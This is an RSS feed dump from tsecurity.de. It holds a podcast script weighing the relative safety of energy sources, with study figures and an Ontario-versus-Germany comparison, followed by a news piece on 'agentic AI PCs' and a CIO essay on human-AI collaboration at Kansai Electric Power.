I should mention right away that I cannot provide absolute answers to this question in the form of a nice, neat ranking table based on numbers from peer reviewed scientific sources.

The reasons for this will become apparent, but to put it briefly, the data on which to base such a ranking simply doesn't exist.

I will however provide context within which people can think about the issue.

Wherever possible, I will provide links to the references that I used in the show notes so you can read further on this yourself.

--------------------

07 Energy Catastrophism versus Energy Uniformitarianism

First though I need to go off on a slight geological detour in order to explain an important analogy that I will use.

08

In the 19th century there was a great debate among geologists over what is known as catastrophism versus uniformitarianism.

In seeking to explain the origins of the earth and of the landscape that we see around us, there were two points of view.

09

One was "catastrophism".

This is the belief that the mountains, valleys, and plains that we see around us were formed as a result of great catastrophes which occurred relatively recently in earth's history.

This explanation was necessary in order to fit geological features into an earth that was believed to be only a few thousands of years old.

This view was heavily influenced by religious belief.

In this view Noah's flood was the great catastrophe and the fossils of dinosaurs were the remains of animals who had not been saved on the ark and so had died in the flood.

10

The other point of view was uniformitarianism.

This was the hypothesis that the landscape we see around us can be explained by the very slow accumulation of very small changes over very long periods of time.

For this to be true however, the earth had to be far older than the few thousand years that a literal reading of the bible would suggest.

The earth in fact had to be many, many, millions of years old.

11

Eventually, the uniformitarian view won out and people understood that while some catastrophes can take place, the shape of the landscape is overwhelmingly due to small changes over very long periods of time.

12 How is this Relevant to this Episode You Ask?

How this is relevant is that I will use this analogy to explain how we need to think about energy and safety.

Very small numbers of deaths and injuries multiplied over many occurrences can add up to big numbers, comparable in scale or possibly even larger than a single catastrophe or even several of them.

13

I don't know if anyone else has used this analogy before, I have just thought of this when writing the script for this podcast.

None the less, I think it is a very useful way of helping to understand the issues.

14

As an example of this, think about the well known case of the safety of flying versus the safety of travelling in your car.

Air crashes are catastrophes that make the headlines.

Automobile crashes are seldom more than local news at best.

You have probably heard many times the claim that if you making a trip somewhere, you are safer to fly than to drive yourself in your car.

15 Example - Hydro versus Solar

I will now present an example of this.

Hydro electric power has some notable large scale catastrophes associated with it.

Roof top solar power does not have any notable catastrophes that I am aware of.

However, which is safer?

16 Hydro Catastrophes

Here are three examples of hydro electric catastrophes in just one country, Italy.

The Vajont Dam which collapsed in1963

An estimated 1,917 to 2,500 people died.

The Sella Zerbino dam which collapsed in 1935.

More than 100 people died.

The Gleno Dam which collapsed in 1923.

An estimated 350 people died.

https://damfailures.org/

https://pmc.ncbi.nlm.nih.gov/articles/PMC4997708/

17

I haven't tried to compile a global list of the worst hydro electric dam collapses, as this sort of information is actually very difficult to find, even on web sites dedicated to dam failures.

An additional problem is that information on whether a dam was used for electric power generation or not is often not available.

18

Dam failures where contradictory or insufficient information is available on whether there was an associated hydro power plant include the 1975 Banqian Dam failure, where death estimates range up to a quarter of a million.

19 Solar Panel Slow Accumulation

Contrast this with roof top solar panels.

Many small accidents can add up to big numbers as well.

20

Health and safety literature discussing solar panel safety mention things such as

Falls from roofs.

Electric shock.

Arc flash (burns from electrical arcing).

Normal electrical safety procedures which are based around locking out sources of energy do not work with solar panels which makes safety more difficult.

Heat stress due to working exposed in the hot sun.

Warning from US government on falls by solar panel installers.

https://stacks.cdc.gov/view/cdc/228946

https://www.osha.gov/green-jobs/solar

21 Why We Cannot Compare the Two

Hydro catastrophes are not well documented, but we can at least find records of some of the most notable ones.

However, even those have very large variations in estimates of deaths.

22

Roof top solar deaths however are largely undocumented.

The industry is largely unregulated.

There is no central authority which accumulates many individual deaths or injuries.

At best there are worker and public safety bodies who simply accumulate those statistics into general construction or household injuries.

23

Thus we have no reliable means of comparing the two energy sources on a comparable basis.

We face the same problem with all other major electrical energy sources.

So far as I am aware, there are no peer reviewed scientific studies which compare the relative safety of all of the major electrical energy sources we are considering here based on actual numbers.

--------------------

24 Safety Risks

I will now try to list some the major hazards for each of energy sources we are considering.

There is however limited data available.

In many cases we just have reference to worker safety organizations as to what the hazards are.

I will not attempt here to put numbers to these here.

Categories

25 Coal, Oil, Natural Gas

The hazards are

Air pollution

Mining and oil field accidents

Pipeline explosions

Transportation accidents. These- move a lot of material so these are significant.

26 Hydroelectric

These include

Dam collapse

Drowning

27 Nuclear

These include

Radiation exposure

28 Wind

These include

Falls

Confined space deaths (there is not much detail on this)

Electric shock

Ice throws (that is, throwing pieces of ice off the blades)

This technology has a significant problem with people working alone which greatly increases risks associated with other dangers.

29 Solar

These include

Falls

Electric shock

Arc flash

Heat stress

30

I have not tried to cover all possible risks associated with each category, just the ones which each industry considers to be the risks they concern themselves with.

There does not exist any means by which risks of similar types are compared across different industries.

31 Reliability of Supply is Also Safety

In a completely electrified net zero society, reliability of supply is a safety matter.

People will die in very large numbers in cold climates if they do not have heat.

If we have no fossil fuels, we need to also consider how reliably does a grid based on any of the options work.

I have not seen anyone attempt to address this question and will not attempt to address it here.

However, it must be addressed in any comprehensive attempt to rank safety.

--------------------

32 Studies or Articles on Estimates of Relative Safety

Despite the difficulties of comparing the safety of different sources of energy, some people have attempted this anyway.

Different estimates done at different times had different focuses, so unfortunately we do not have a nice set of studies that we can neatly use to cross check one another.

I will however list the names and the authors and summarize the results.

--------------------

33 The Health Hazards of Not Going Nuclear

By Dr. Petr Beckman

Published in 1976

The author of this book tried to address the relative safety of different sources of energy in the mid 1970s.

However, it is old at this point, so I won't bother digging through its pages to find his figures.

34

He mainly focused on comparing electric power generated with coal to nuclear.

His conclusion was that if the goal was to prevent deaths or ill health in the process of generating electricity, then the logical conclusion was to replace coal fired power plants with nuclear.

35

The book was relatively well known at the time, as least as far as books on energy are concerned, so I thought it was still worth mentioning.

I happen to have a copy of this book which I bought back in that time period

It was the 8th printing of the book, so it would appear to have had relatively good sales.

36

The author did address the issue of what I have termed "catastrophism" in his comparison of different energy sources, although I don't know if he used this phrase.

I don't know if he was the first to use this sort of analysis, but he certainly was very influential in terms of popularizing it.

--------------------

37 Risk of Energy Production

by Herbert Inhaber

Publication AECB 1119

March 1978

This study is a scientific paper from the same time period as the book "The Health Hazards of Not Going Nuclear".

38

He based his risk estimates largely on estimates of the amount of material which was used in the construction and operation of various power sources.

While we could argue over whether or not this is a valid methodology, I think any such argument would be pointless as I think the age of the study alone renders it not relevant today anyway.

Advancements in materials have changed the basis results significantly by now.

However, as it exists I thought I would mention it to show that the idea of comparing energy sources to each other is not a new one.

The author compared a wider variety of potential sources than Beckman did.

39

Here's his conclusions.

He assumes equal amounts of energy produced by each method.

The numbers are normalized such that the total sums to 100%.

You can think of it in terms of what proportion of total deaths or injuries would result from each source if each were equally used.

40

Coal 27.5%

Oil 25.6%

Methanol 16.7%

Wind 10.8%

Solar photovoltaic 9.2%

Thermal 8.1%

Solar space heating 1.5%

Ocean thermal 0.4%

Nuclear 0.13%

Natural Gas 0.08%

41

His natural gas estimate is drastically different from that of other authors.

I am not going to worry about explaining it however, as the study is as I said old enough to be not very relevant anyway.

I am mainly including this here out of historical interest.

42

As a footnote, the methanol he refers to would be synthesized from wood. This was a popular idea in that era as a means of providing liquid fuels for transportation. Practical battery electric cars in those days were strictly science fiction.

43

The ocean thermal category is a real blast from the past and I had forgotten all about that concept.

It was a very popular idea at that time and was supposed to be *the* big and upcoming thing in renewable energy.

It involved various means of attempting to extract energy from differences in water temperature at different depths in the ocean.

It gradually faded away however, as despite great efforts being put into it, designs never proved to be practical.

--------------------

44 Electricity generation and health

Anil Markandya, Paul Wilkinson

Published in the Lancet, Vol 370, 15 September 2007

45

This is more recent than the previous one, although it is nearly 20 years old at this point.

Unfortunately it doesn't cover wind or solar, just fossil fuels and nuclear.

However it is still useful, and the Lancet is a very reputable peer reviewed journal.

46

I will present just the results rather than discussing the whole paper.

The authors break it down into deaths among the public, occupational deaths, and air pollution related deaths, serious illness, and minor illness.

47

They break the energy sources down into lignite, coal, gas, oil, biomass, and nuclear.

Lignite is a type of very low grade coal used mainly for electric power generation.

In this paper biomass refers to energy crops and forest residues.

48

I will summarize the results by category rather than trying to describe a table that has 6 rows and 5 columns.

All numbers are normalized in terms of deaths or cases per TWh.

49

Occupational deaths from accidents

lignite 0.1

coal 0.1

gas 0.001

oil no data

biomass - no data

Nuclear is 0.019.

50

Deaths among the public from accidents

lignite 0.02

coal 0.02

gas 0.02

oil 0.03

biomass no data

Nuclear 0.003

51

Air pollution deaths

lignite 32.6

coal 24.5

gas 2.8

oil 18.4

biomass 4.63

Nuclear 0.052

52

Air pollution serious illnesses

lignite 298

coal 225

gas 30

oil 161

biomass 43

Nuclear 0.22

53

Air pollution minor illnesses

lignite 17,676

coal 13,288

gas 703

oil 9,551

biomass 2,276

Nuclear no data

54

Natural gas edges out nuclear power slightly in terms of occupational safety, but in every other category nuclear is drastically lower in terms of ill effects than any of the alternatives.

--------------------

55 2020 Fatalities for US Roofers Increased 15% as Solar Roof Installations Increase

Published in The Next Big Future

July 6, 2021 by Brian Wang

56

This seems to be written by someone who has a popular science blog.

I'm not familiar with it personally, but he addresses the subject so I'll list it.

The title implies that it's all about rooftop solar, but he provides comparative numbers for the other energy sources of interest, so that is useful for our purposes.

However, he doesn't describe his methodology, so we need to treat them with some caution.

Here are his results

These are deaths per thousand terawatt hours.

57

Coal - 100,000

Oil - 36,000

Natural gas - 4,000

Hydro - 1,400

Rooftop solar - 440

Wind - 150

Nuclear - 90

58

If we plot these numbers on a bar chart, coal and oil are so large that all of the others are squished to the bottom of the chart and are difficult to see at all.

Let's therefore look at these in terms of orders of magnitude.

Keep in mind that this is a logarithmic scale.

This means that the difference between 4 and 5 is much greater in linear terms than the difference between 1 and 2.

59

Coal - 5

Oil - 4

Natural gas - 3

Hydro - 3

Rooftop solar - 2

Wind - 2

Nuclear - 1

60

Each of these numbers represents an order of magnitude, that is a power of ten.

We can see that with rooftop solar, wind, and nuclear, the numbers are so close and the uncertainties are so great and their relative values so small compared to say coal that they can be seen as equivalent so far as safety is concerned.

--------------------

61 What are the safest and cleanest sources of energy?

by Hannah Ritchie

Published in Our World in Data

First published in 2017, updated in 2022 and 2024

62

The author of this study addressed both deaths and greenhouse gas emissions.

Deaths from accidents and air pollution are normalized to per TWh of electricity, while greenhouse gas emissions are normalized to GWh of electricity over the life cycle of the plant.

63

Here are the death figures.

Coal 24.6

Oil 18.4

Biomass 4.6

Natural Gas 2.8

Hydro power 1.3

Wind 0.04

Nuclear 0.03

Solar 0.02

64

For greenhouse gas emissions the figures are

Coal 970 tons

Oil 720 tons

Natural gas 440 tons

Biomass 78 to 230 tons

Solar 53 tons

Hydro power 24 tons

Wind 11 tons

Nuclear 6 tons

65

If we take the death figures and rank them by order of magnitude as we did with the previous article, we get the following.

66

Coal - 4

Oil - 4

Biomass - 3

Natural Gas - 3

Hydro power - 3

Wind - 1

Nuclear - 1

Solar - 1

67

Keep in mind that the previous article covered only rooftop solar and not large industrial installations, and so is not directly comparable.

Also the units are different, with the previous article being in terms of thousand TWh, and this one being in TWh.

If we exclude solar (as the numbers are not comparable), Brian Wang's numbers are between 1.5 to 4 times higher than Ritchie's, except for hydro which are almost identical. I think this latter is due to both sets of numbers are dominated by one exceptionally big hydro accident.

68

Overall however, the relative rankings are quite comparable.

Ritchie's numbers for deaths from coal, oil, and natural gas appear to be directly from the study by Markandya and Wilkinson mentioned above.

For the benefit of those who are wondering, Ritchie specifically states that her numbers for nuclear include the Chernobyl and Fukushima accidents.

--------------------

https://www.iaea.org/publications/magazines/bulletin/21-1/solar-power-more-dangerous-nuclear

Direct link to file

https://www.iaea.org/sites/default/files/publications/magazines/bulletin/bull21-1/21104091117.pdf

https://ourworldindata.org/safest-sources-of-energy

https://www.thelancet.com/journals/lancet/article/PIIS0140-6736(07)61253-7/abstract

https://www.nextbigfuture.com/2021/07/2020-fatalities-for-us-roofers-increased-15-as-solar-roof-installations-increase.html

--------------------

69 Conclusion from Studies

Remember that in engineering terms, when comparing groups of numbers which contain both both very small numbers and one or more very large numbers, the differences between the small numbers are often not significant.

The differences between the small numbers may be the product of our ability to measure these things rather than any real differences.

70

For example, in the article by Ritchie wind power would appear to be twice as dangerous as nuclear.

However, the difference between them is 0.02 compared to 24.6 for coal.

In other words, the difference between apparently "dangerous" wind and apparently "safe" nuclear is equivalent to 0.08% of the total for coal.

It's therefore meaningless and a red herring to even worry about.

71

With the above taken into consideration, generally the different sources of energy fall into two broad categories in terms of number of deaths, injuries, and illnesses.

The fossil fuels and biomass fall into one group and wind, solar, and nuclear into another group.

72

Hydro power would seem to fall into the higher risk category or at least somewhere between the two, but this I suspect is mainly due to one exceptionally large dam collapse in China, the Banqian Dam failure in 1975.

This is mentioned as being specifically included in the article written by Ritchie.

This was a multi-purpose dam, and information on this dam is difficult to find.

It is not clear to me whether it had a hydro electric generator associated with either it or another dam that was part of the same system.

73

Some people therefor may argue for its exclusion from the numbers.

Of course some people may argue for its inclusion anyway, as it was a dam regardless of whether it actually had an electric generator attached.

If we exclude it, then I think the numbers for hydro power would fall into the same range as for nuclear, wind, and solar.

74

Most people would consider hydro power to be safe and clean enough regardless of this and I will rank it as such in any conclusions that I come to.

As you can see, even if we have numbers, it can be a matter of opinion as to how to interpret them.

--------------------

--------------------

75 Taking a Systems Approach

Now let's take a look at the broader energy picture today and into the future.

Many countries in many parts of the world have committed to the concept of "Net Zero", which means eliminating carbon emissions on a net basis.

Net zero essentially means the complete electrification of society.

We must therefore have electrical energy on demand and at low cost.

We must as a result of this look at complete electrical systems rather than individual sources in isolation.

76

At one time many electrical systems were entirely coal or entirely hydroelectric.

This is no longer the case.

There are now major amounts of wind and solar involved in many countries.

However these are inherently intermittent.

This means that other sources of energy are inherently also required to have a functional system.

77

If any particular solution inherently requires fossil fuels to meet part of the demand, then the safety, pollution, and climate issues relating to those fossil fuels have to be factored in to that complete system when trying to come up with a relative ranking.

Talking about Individual sources in isolation are therefore meaningless in these countries.

78

There are battery systems, but these are mainly used to stabilize and regulate the grid plus to a lesser degree to smooth out short term daily peaks in demand.

They do not have the ability to store large amounts of electricity on a large scale for an entire grid for days, weeks, and months to make up for intermittency.

79

So a serious attempt to rank sources of energy would need to look at a variety of representative countries and for each one come up with a plan that involves 'x' megawatts from source 'a', 'y' megawatts from source 'b', etc., and total up the values for each.

80

I am not aware of anyone who has studied this larger issue.

However, the problem has to be addressed from this perspective in order for any answer to be useful.

Not taking this into account is like ordering a diet soft drink to go with with a high calorie meal and assuring yourself that your plans to diet are fine.

81

This is not to imply there is anything inherently wrong with wind or solar.

It does mean that if your goal is to achieve both net zero and a clean environment, you have to look at your entire energy system as a complete system rather than focusing on what you feel are the most reassuring parts of it while ignoring the rest.

This does however add to the argument that it is in fact inherently very difficult to come up with a system of ranking energy sources for safety.

--------------------

82 Nuclear, Climate, and Clean Air - Contrasting Examples

To give a tangible example we will now look at two different places that followed two divergent paths at roughly around the same time frame.

These are the province of Ontario in Canada, and Germany.

83

Ontario had a mix of coal, hydro electric, and nuclear generating plants.

Germany had a mix of coal, nuclear and natural gas plants.

Ontario shut down their coal fired plants and kept their nuclear plants.

Germany however shut down their nuclear plants and kept their coal fired plants.

84 The Phase Out of Coal in Ontario

In 2003 Ontario decided to close all of its coal fired generating plants, which consisted of 19 units (that is boilers and turbines) totalling 8,800 MW.

This phase out was completed by 2014.

85

Here are the figures for amount of power generated by each energy source in 2003 and 2014.

Nuclear went from 42% to 60%

Hydro went from 23% to 24%

Gas went from 11% to 9%

Coal went from 25% to 0%

Non-hydro renewable went from 0% to 7%.

86

As you can see, the bulk of that replacement came from increased use of nuclear power.

Furthermore, this did not result in simply replacing coal with natural gas.

While gas is cleaner than coal, it still has emissions and if you recall from the studies that we looked at earlier, had an estimated death rate roughly 2 orders of magnitude greater than nuclear, solar, or wind.

87

To put this in more practical terms, at one time Toronto regularly had clouds of smog obscuring it, to a large extent due to these coal fired power plants

With the phase out of coal, smog days went to zero in 2015 compared to 53 a decade earlier.

The 2023 figures for Ontario show carbon emissions of 53 grams per kWh of electricity generated.

We can use this as a rough benchmark comparison for total emissions.

88 The Phase out of Nuclear in Germany

Until March of 2011, Germany generated one quarter of its electrical power from nuclear.

Starting in 2011 however, they began shutting down their nuclear power plants.

These were then phased out over the next decade.

However, the coal plants were to be kept to 2038.

In 2026 Germany began talking about increasing use of coal in order to save gas.

In the same year the German chancellor Friedrich Merz stated that the phase out of nuclear was a

quote “serious strategic mistake”.

EU Commission President Ursula von der Leyen said it was "a strategic mistake for Europe to turn its back on a reliable, affordable source of low-emissions power".

89

I won't go into the details of the phase out, but let's look at some emissions numbers for Germany.

If we look at the official numbers from the European Environmental Agency for 2024, for Germany their emissions were 298 grams per kWh of electricity generated.

Recall that we are using emissions as a very rough guide to amount of air pollution, and that this has a direct effect on the safety of the overall electrical energy system.

90

So, who actually made their people safer, Ontario who phased out their coal plants and kept their nuclear plants, or Germany who phased out their nuclear plants and kept their coal plants?

91

If you want a comparison directly within Europe, then Germany has one of the highest rates of emissions per kWh of electricity generated, whereas France, who use mainly nuclear power, have one of the lowest at 43 grams per kWh of electricity generated.

Again, who is making their people safer, Germany or France?

92

I don't want to make it sound like I am picking on Germany.

I am also not going to tell them how they ought to run their country.

However they provide a good real world example of how we need to look at things in overall context when we are thinking about the choices that we make.

https://www.ontario.ca/page/end-coal

https://www.cbc.ca/news/canada/windsor/smog-study-shows-significant-decreases-in-pollutants-in-ontario-1.4151183

https://www.eea.europa.eu/en/analysis/indicators/greenhouse-gas-emission-intensity-of-1

https://world-nuclear.org/information-library/country-profiles/countries-g-n/germany

https://www.politico.eu/article/friedrich-merz-is-right-to-reject-germanys-nuclear-phase-out-says-iea-chief-fatih-birol/

https://www.politico.eu/article/germany-considers-ramping-up-coal-power-to-avert-energy-crisis/

https://www.iea.org/countries/estonia/electricity

https://www.iea.org/countries/malta/electricity

--------------------

93 Conclusions

As we can see, there don't appear to be an abundance of peer reviewed scientific studies that we can simply point to in order to answer the question of safety of all possible major different energy sources once and for all.

Collecting the data to even attempt to answer the question is inherently very difficult as we cannot readily conduct experiments to answer the question, and sources of data are not collected or consolidated in a manner which can answer this question adequately.

94

The essence of the problem is that most energy industries are not as tightly regulated and monitored to the same degree that say nuclear power or commercial airliners are, so this data is simply not being systematically recorded.

However, a number of people have attempted to make estimates.

95

Their conclusions would seem to be that nuclear, wind, and solar are roughly equivalent in terms of safety.

All fossil fuels are much less safe than nuclear, wind, and solar, by as much as several orders of magnitude.

96

We can however say with a reasonable degree of certainty that if a country shut down their nuclear power plants and kept their fossil fuel plants, particularly coal, then they probably made their people less safe than if they had done things the other way around.

97

I hope that I have provided some context in which to think about the issue.

Thanks again to brian in ohio for providing the question upon which this episode is based.

--------------------

Provide feedback on this episode.

]]> <![CDATA[Fans are selling fast — I'm an appliance expert, and I've found the best air quality and kitchen appliance deals still available to keep you cool in the UK's heatwave]]> https://tsecurity.de/de/3618878/it-nachrichten/fans-are-selling-fast-im-an-appliance-expert-and-ive-found-the-best-air-quality-and-kitchen-appliance-deals-still-available-to-keep-you-cool-in-the-uks-heatwave/ https://tsecurity.de/de/3618878/it-nachrichten/fans-are-selling-fast-im-an-appliance-expert-and-ive-found-the-best-air-quality-and-kitchen-appliance-deals-still-available-to-keep-you-cool-in-the-uks-heatwave/ Tue, 23 Jun 2026 18:19:17 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[‘Agentic AI’ PCs? Not much new here, say analysts]]> https://tsecurity.de/de/3618182/it-nachrichten/agentic-ai-pcs-not-much-new-here-say-analysts/ https://tsecurity.de/de/3618182/it-nachrichten/agentic-ai-pcs-not-much-new-here-say-analysts/ Tue, 23 Jun 2026 14:03:36 +0200 📰 IT Nachrichten tsecurity.de

Nvidia and Microsoft this month touted the reinvention of computers with a new class of “agentic AI PCs” that will “reinvent the way PCs work.” 

That’s how Nvidia CEO Jensen Huang described the computers at the recent Computex trade show. At the event, Nvidia introduced its first AI-focused PC chip called N1X, which has an integrated CPU and GPU and will be used in agentic AI PCs.

Nvidia’s new RTX Spark PCs are the first in a major “PC reinvention for 40 years,” Huang said, likening them to AI phones. “You could talk to it, it could look at you. You could ask it to read files
 [or] go help you do research.”

Not so fast, say analysts, who argue the computers are mostly repackaged AI PCs that shouldn’t necessarily drive enterprise upgrades.

“Agentic AI PCs is a strange term that should probably be deemphasized,” said Leonard Lee, principal analyst at neXt Curve. “Depending on use case, PCs of the last two generations are ‘agentic AI’-capable.”

Skeptical of the hype, analysts said many current PCs are already capable of running agents, such as those spun up on device by OpenClaw. Those agents don’t need to communicate with AI models in the cloud.

In fact, Lee said, Apple has already shown that Windows isn’t needed to run agentic workloads, with the Mac Mini among the most talked-about device for hosting personal AI agents and OpenClaw.

Analysts said the definition of agentic AI PCs really comes down to the hardware inside, which largely defines their capabilities. Most are really just an evolution of earlier AI PCs, which arrived a few years ago amid similar hype.

AI PCs, specifically CoPilot+ PCs, were originally designed with neural processing units (NPUs) to support the requirements of Windows Recall. “Some argue agentic AI PCs need more GPU compute, but
Qualcomm and Microsoft would counter that agentic AI PCs have been around for a while,” Lee said.

To highlight the capabilities of the RTX Spark PC, a demonstration at Computex showed how an architectural design workflow could be split between the PC and the cloud. (An MCP server managed data exchange to facilitate the cloud-PC workflow.)

Adobe has reengineered Photoshop and Premiere for RTX Spark PCs, allowing the software to communicate with AI agents on PCs and tools to run twice as fast, Huang said.

And at the company’s recent Build conference, Microsoft CEO Satya Nadella demonstrated the new Surface Laptop Ultra AI PC based on the RTX Spark design. He positioned agentic AI PCs as running a new execution layer that can act across files and devices, including generating and executing code. 

While AI PCs with agents will be capable, they still lack applications, said Jim McGregor, principal analyst at Tirias Research. “However, PCs — especially the small form factor PCs and workstations — are likely to be the home AI appliance,” he said.

For enterprises, upgrading to RTX Spark PCs at this point could pose problems. That’s because Nvidia’s N1X CPU is based on the Arm processor architecture and could run into compatibility issues with x86 applications designed for Intel and AMD chips.

“Despite Arm processors being available for a while, enterprise penetration stays small, since compatibility with all apps, drivers, and corporate systems is critical and requires extensive testing
, even though Microsoft has done a reasonably good job with Windows 11 on Arm,” said Jack Gold, principal analyst at J. Gold Associates.

Because Microsoft is moving to natively incorporate AI into Windows, those PCs will land in enterprises ultimately, Gold said.

Regardless of hype, it might be a good time for enterprises chasing an agentic AI agenda to upgrade laggard Windows 10 devices, Lee said. “Considering the considerable hype about agentic AI, early adopters will need to upgrade their fleets if they pursue a broad agentic AI agenda for their organizations,” he said.

]]> <![CDATA[Successful AI adoption lies in collaboration, not replacement]]> https://tsecurity.de/de/3617665/it-nachrichten/successful-ai-adoption-lies-in-collaboration-not-replacement/ https://tsecurity.de/de/3617665/it-nachrichten/successful-ai-adoption-lies-in-collaboration-not-replacement/ Tue, 23 Jun 2026 11:02:44 +0200 📰 IT Nachrichten tsecurity.de

Due to the rapid evolution of generative AI in recent years, many companies are accelerating their adoption of AI. Specifically, the scope of AI’s integration into day-to-day operations is steadily expanding, covering tasks such as minute-taking, summarization, searching, responding to inquiries, and drafting documents — all of which are typically performed by white-collar workers in office settings. At the same time, however, as discussions about AI adoption intensify, questions and concerns are emerging in society, such as “What will happen to human jobs?” and “To what extent should we entrust tasks to AI?”

My own fundamental premise when considering the roles of humans and AI is that AI should not be viewed merely as a tool for improving efficiency. The core issue that a CIO must fundamentally address is not which tasks to introduce AI into, but rather to thoroughly consider what roles humans and AI should each play, how they can complement one another, and how they can enhance each other to create new value that was previously unattainable.

The Kansai Electric Power Group’s DX Vision 2035 — as part of its DX and AI strategy — has clearly defined its vision as continuing to create new value through AI-driven transformation, with people collaborating with AI. The underlying philosophy is that the use of AI is by no means merely an improvement along the lines of conventional practices; rather, it aims to achieve a fundamental restructuring of business, operations, and work styles.

DX Vision 2035

Akio Ueda

Thus, collaboration between humans and AI does not mean replacing part of the work with AI but rather identifying the strengths of both humans and AI, and restructuring workflows, decision-making, and value delivery. I believe that only when this is achieved will AI evolve from a mere convenient tool into an indispensable weapon for corporate transformation.

What is AI good at, and what should humans take on?

The starting point for considering human-AI collaboration is to objectively assess the areas in which each excels.

AI excels at rapidly analyzing, processing, searching, and summarizing large volumes of information, presenting multiple options, and making inferences and evaluations based on established patterns. For example, gathering external information, drafting documents, preparing meeting minutes, reviewing contracts, responding to inquiries and creating preliminary risk assessments are areas where AI can demonstrate significant strength.

In fact, at Kansai Electric Power, the use of AI is accelerating across a wide range of use cases, including AI-powered compliance checks, AI critic agents for meeting agenda items, AI risk assessment agents for investment projects, the enhancement of the internal help desk through AI, and the overall reform of corporate sales processes through AI.

On the other hand, I believe that in the age of AI, humans should assume four key roles:

  1. Formulating questions
  2. Interpreting meaning
  3. Making decisions
  4. Taking responsibility for the results

While AI can present a vast number of options, it cannot bear the responsibility for making judgments such as “What do we value?” or “What should this company choose?” This is particularly true in the fields of management, customer service, and organizational operations, where factors such as ethics, trust, emotions, and the balancing of interests come into play. In such contexts, human will is ultimately the guiding principle.

The role of humans in the age of AI

Akio Ueda

In other words, humans are the ones who decide what questions to ask and what choices to make, while AI is, at best, a tool that quickly produces processing results. If we proceed with AI adoption while blurring this division of roles, it will lead to confusion on the front lines. Conversely, if this distinction is clearly established, AI implementation will not undermine front-line capabilities but will instead enhance human capabilities.

Collaboration is not about division of labor but mutual reinforcement

An important point to note here is that collaboration between humans and AI cannot be achieved simply by creating a basic division of labor chart. What matters is designing a relationship in which both parties draw out and enhance each other’s strengths.

Kiichiro Toyoda, the founder of Toyota Motor Corporation, once said, “Machines become complete when they become one with humans.” If we replace machines with AI in this quote, it becomes “AI becomes complete when it becomes one with humans.” I believe this expresses a timeless concept that remains fully relevant even in today’s AI- era.

So, what are the different patterns of human-AI collaboration? Below, I’ve created a four-quadrant matrix chart that categorizes how humans work based on Science vs. Art (horizontal axis) and Individual vs. Collaborative (vertical axis).

What is human-AI collaboration?

Akio Ueda

For example:

  • [Quadrant D] Science × Individual Work ⇒ Tasks are entrusted to AI and robots.
  • [Quadrant C] Art × Performed Individually ⇒ AI expands human creativity.
  • [Area B] Science × Individually ⇒ Humans and AI collaborate
  • [Domain A] Art × carried out collaboratively by multiple people ⇒ Carried out primarily by humans; AI serves as a sounding board

This is the breakdown.

The accuracy of AI’s output changes significantly depending on the quality of the questions humans pose to it. Conversely, when AI anticipates needs by organizing key points and gathering information, humans can devote their time to making more fundamental decisions. At Kansai Electric Power, a proof of concept (PoC) is underway to utilize AI agents for brainstorming management decisions, risk assessment, and stimulating discussion. This initiative is being pursued not with the idea of handing over work entirely to AI, but rather with the concept that AI extends human thinking and enhances the quality and speed of human decision-making.

As this collaboration progresses, the very nature of work will change.AI will take on the tasks of gathering, organizing, and analyzing information — tasks that humans previously spent a great deal of time on — allowing humans to focus on formulating questions and hypotheses, engaging with customers, being creative, building consensus, and making final decisions. As a result, we will see not just a reduction in man-hours, but an improvement in the quality and speed of work.

Thus, I believe we are moving toward a world where people and companies that make full use of AI will succeed, while people and companies that do not use AI will fall behind — not a world where AI takes people’s jobs.

The fundamental question a CIO should ask is not “What should we have AI do?” but rather “What will people be able to focus on once AI is introduced?” I believe that the ultimate value of collaboration lies not in the adoption rate of AI, but in the enhancement and acceleration of human work.

Business process redesign is essential for achieving collaboration

A common trait among organizations where AI adoption is not progressing as expected is that they introduce AI only to specific parts of their operations without changing the underlying processes or methods of human work. While this may seem like the easiest approach at first glance, it actually results in the least effective use of AI’s capabilities and minimizes the value it can deliver. In short, while JTCs (traditional Japanese companies) think in terms of where to introduce AI based on existing business processes, AIFCs (AI-first companies) rebuild business processes on the premise that AI exists.

To truly realize collaboration between humans and AI, it is necessary to break down the business processes themselves. This involves visualizing the elements within the work—such as problem definition, data collection, organization, decision-making, dialogue, resolution, evaluation, and improvement—and designing and transforming each step to determine whether it should be entrusted to AI, handled by humans, or carried out collaboratively by both. This is not merely the introduction of AI, but the design and transformation of the business, its operations, and its organization.

At Kansai Electric Power, there are use cases such as the transformation of the entire sales process using AI, support for knowledge and technical succession in the thermal power division, support for regulatory compliance checks, and the enhancement of the internal help desk. However, we believe the significance lies in the fact that this is not merely the introduction of AI or partial optimization, but rather the integration of AI after taking a bird’s-eye view of the entire workflow, with the ultimate goal of achieving overall optimization.

Thus, the CIO must act not as the person responsible for AI implementation, but as the architect of business transformation.

The CIO is a collaborative designer, not an AI implementation manager

The role expected of a CIO in the AI era is not merely to drive AI adoption. It is to envision a future where humans and AI work together, and to translate that vision into implementable business processes, systems, rules, and organizational culture.

In this sense, it can be said that the CIO is not an AI implementation manager but a collaborative designer. What should humans specialize in, and in which areas should AI be used? What should humans take on more heavily, and what should they let go of? Continuously answering these questions is the CIO’s essential job.

Moreover, this design is not a one-time effort. As long as AI itself continues to evolve rapidly, the nature of collaboration will also continue to evolve. That is precisely why a CIO should not be the one who provides the right answers, but rather the one who continually asks the right questions. The key is not how much to entrust to AI, but rather what humans should hone in an era where AI exists. Continuously asking this question is what determines a company’s competitiveness.

Beyond collaboration lies a relationship where humans and AI enhance each other

When people hear the term human-AI collaboration, many likely think first of efficiency and increased productivity. However, the true goal lies beyond that. It is not merely about using AI to reduce human workloads but about using AI to expand human potential.

Rather than humans merely mastering AI, we must create a relationship where humans and AI mutually enhance one another. Only when such collaboration becomes firmly established will companies truly gain a competitive advantage in the AI era.

The future that CIOs should envision is not an organization where AI takes away people’s jobs. It is an organization where, with AI as a partner, people can engage with customers and society in a more creative, more meaningful way.

What does collaboration between humans and AI entail?

We must not leave this question vague but rather think it through thoroughly and bring it to fruition.

Is this not the crucial mission entrusted to the CIO in the AI era?

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

